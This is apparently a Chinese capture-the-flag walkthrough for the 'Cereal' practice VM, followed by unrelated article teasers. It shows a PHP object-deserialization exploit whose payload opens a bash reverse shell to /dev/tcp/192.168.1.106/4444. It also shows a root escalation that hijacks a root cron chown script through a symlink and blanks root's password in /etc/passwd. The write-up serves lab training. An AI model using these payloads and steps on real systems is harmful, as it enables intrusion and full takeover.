Cereal 靶机

news/2024/11/18 2:40:33/

环境准备

靶机链接:百度网盘 请输入提取码

提取码:bcj2

虚拟机网络链接模式:桥接模式

攻击机系统:kali linux 2021.1

信息收集

1.探测目标靶机 arp-scan -l

2.nmap -p- -A -T4 192.168.1.107

探测目标靶机开放端口和服务

漏洞探测

1.登录ftp查看可利用信息

tp 192.168.1.107

没有找到可以利用的信息

2.用gobuster对目录进行扫描

gobuster dir -u http://192.168.1.107 -w /usr/share/wordlists/dirb/big.txt -t 50

3.访问扫到的目录

4.http://192.168.1.107/admin/index.php 尝试sql注入的可能

5.http://192.168.1.107/blog/ 网页加载不完整,查看源码

6.curl -i -L http://192.168.1.107/blog 查看源码,发现域名信息

7. echo '192.168.1.107 cereal.ctf' >> /etc/hosts

source /etc/hosts

再次访问页面正常状态

8.gobuster vhost -u http://cereal.ctf -w /usr/share/wordlists/dirb/big.txt

没有检测到任何子域信息

9.访问44441端口

10.用gobuster对44441端口,其子域进行扫描

11.成功探测到子域信息,将子域添加到/etc/hosts

echo '192.168.1.107 secure.cereal.ctf' >> /etc/hosts

12.访问网页是一个执行ping命令的网页,那就可能存在命令执行漏洞

13.输入192.168.1.106-c 3;whoami

#-c 3 ping命令只执行三次 输入命令,没有回显。用curl命令看网页源码

14.发现serialize()函数 这是序列化

15. 扫描子域的目录

gobuster dir -u http://secure.cereal.ctf:44441 -w /usr/share/wordlists/dirb/big.txt -t 50

漏洞利用

1.更换字典,成功扫出back_en目录

gobuster dir -u http://secure.cereal.ctf:44441 \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100 -e

//一定要用-t 参数设置线程 要不然很慢,我这里用和没有差距在三分钟

2.查看网页 curl -i -L http://secure.cereal.ctf:44441/back_en/

3.成功扫出新目录

4.用curl命令查看新目录的源码,发现为ping命令的代码

pingTest这个类具有三个属性 ipAddress 来自请求正文, isValid 确定输入是否有效以及随后发送的输出。默认情况下,isValid 的值为 False,因此从浏览器发送请求时,它一定都会进入 if 模块。该模块检查该值是否为 IP 地址。因此,当我们尝试注入命令时,它拒绝了输入,所以,如果我们在请求中发送值 True,则根本不会执行 if 块。然后,它会直接调用 ping 方法。

curl -i -L http://secure.cereal.ctf:44441/back_en/index.php.bak

5.所以这里可以利用bp抓包,将public $isvalid = True;直接自己构造一个函数,进行反弹 shell的命令。

<?phpclass pingTest {public $ipAddress = "192.168.1.106;bash -c 'bash -i >& /dev/tcp/192.168.1.106/4444 0>&1'";public $isValid =True;
}echo urlencode(serialize(new pingTest))
?>

6.抓到数据包后将obj=后的数据替换为自己构造的php代码即可反弹shell

权限提升

1.SHELL=bash script -q /dev/null 回弹交互式shell

2.在找不到任何有用信息后,上传我们的pspy64(github可以找到),

发现一个uid=0 也就是root用户执行的文件 chown.sh

3.chown 需要超级用户 root 的权限才能执行此命令,通过chown改变文件的拥有者和群组 ,我们先查看chown.sh文件,发下只有可读权限,只有root有执行权限。

4.chown.sh它这个命令的强大可以把我想改的文件去更换拥有者,所以创建一个软连接,让它来帮我去执行,/etc/passwd 文件是可读可写可更改的 那我们可以把root用户密码改为空,达到提权的目的

5.等过几分钟后,文件拥有者已经改变

6.etc/passwd 文件中的 x 是保存加密密码的地方。因此,如果我从该行中删除了 x ,也就是删除 root 用户的密码身份验证。

7.由于靶机本地用vi命令无法改,故将passwd下载到本地,把root用户改为无密码登录,再上传到靶机,进行提权操作。

8.成功上传后,执行su命令进入root目录 拿下flag!!!


http://www.ppmy.cn/news/258191.html

相关文章

nuxt3.0学习-三、nuxt.config.ts配置、跨域处理以及浏览器适配处理

nuxt官方对于nuxt.config.ts配置的介绍在Nuxt3.0 nuxt.config.ts配置 关于如何配置本人只能给出一点点启发&#xff0c;具体的配置需要根据个人需求去配置 nuxt.config.ts配置、跨域处理 import { prismjsPlugin } from "vite-plugin-prismjs"; export default de…

Power BI API调用注意事项 (By Power Automate)

注&#xff1a;本文最初发布于https://d-bi.gitee.io和medium, 2023年6月迁移至CSDN 前述 本站关于实现Power BI REST API的博文已有许多&#xff0c;包括&#xff1a; Power BI REST API有多强大&#xff1f;PBI开发者必读Power BI REST API实战教程&#xff1a;PowerQuery为…

通过python封装接口seller_nick获取京东店铺所有商品数据,京东店铺所有商品数据接口,京东API接口

目的&#xff1a; 通过python封装接口seller_nick获取京东店铺所有商品数据&#xff0c;方法如下&#xff1a; 使用京东开放平台提供的API接口文档&#xff0c;找到seller_nick接口的具体参数及请求方式。 使用Python中的requests库发送请求&#xff0c;获取接口返回的数据。 …

【NLP】KMP匹配算法

一、说明 KMP算法。也称为Knuth-Morris-Pratt字符串查找算法可在一个字符串S内查找一个词W的出现位置。一个词在不匹配时本身就包含足够的信息来确定下一个匹配可能的开始位置&#xff0c;此算法利用这一特性以避免重新检查先前配对的字符。将时间复杂度从O(M*N)降为O(N). 这个…

Ubuntu20、centos7安装部署Gitlab

目录 一、简介 二、安装GitLab 1、安装准备工作 2、安装Gitlab a、安装并配置必要的依赖 b、下载Gitlab c、启动postfix邮件服务&#xff0c;设置开机自启 d、安装Gitlab e、修改gitlab配置文件&#xff08;ip和端口&#xff09; g、更新配置文件并重启 h、通过ip地址加端口进行…

跨平台开发工具kbone使用经验分享

作为前端开发者&#xff0c;我们一直在寻找更高效的跨平台开发解决方案。其中 kbone 是一个比较典型的构建跨平台应用程序的开发框架。 像是微信官方小程序、美团、京东等都有在使用kbone开发框架&#xff0c;所以还是值得新同学深入了解下。 什么是kbone&#xff1f; kbone…

员工午餐时间玩手机被通报?哪里来的勇气

刚看到一个话题&#xff0c;知名房产某达员工午餐时间玩手机被通报。 瑟瑟发抖&#xff0c;员工休息时间玩手机也要被通报&#xff1f;哪里来的勇气。 据悉&#xff0c;该公司的一些员工因为在午餐时间玩手机而被警告。 这起事件不禁让人思考&#xff1a;在工作与生活之间&…

【每日一题Day229】LC2611老鼠和奶酪 | 排序+贪心

老鼠和奶酪【LC2611】 有两只老鼠和 n 块不同类型的奶酪&#xff0c;每块奶酪都只能被其中一只老鼠吃掉。 下标为 i 处的奶酪被吃掉的得分为&#xff1a; 如果第一只老鼠吃掉&#xff0c;则得分为 reward1[i] 。如果第二只老鼠吃掉&#xff0c;则得分为 reward2[i] 。 给你一个…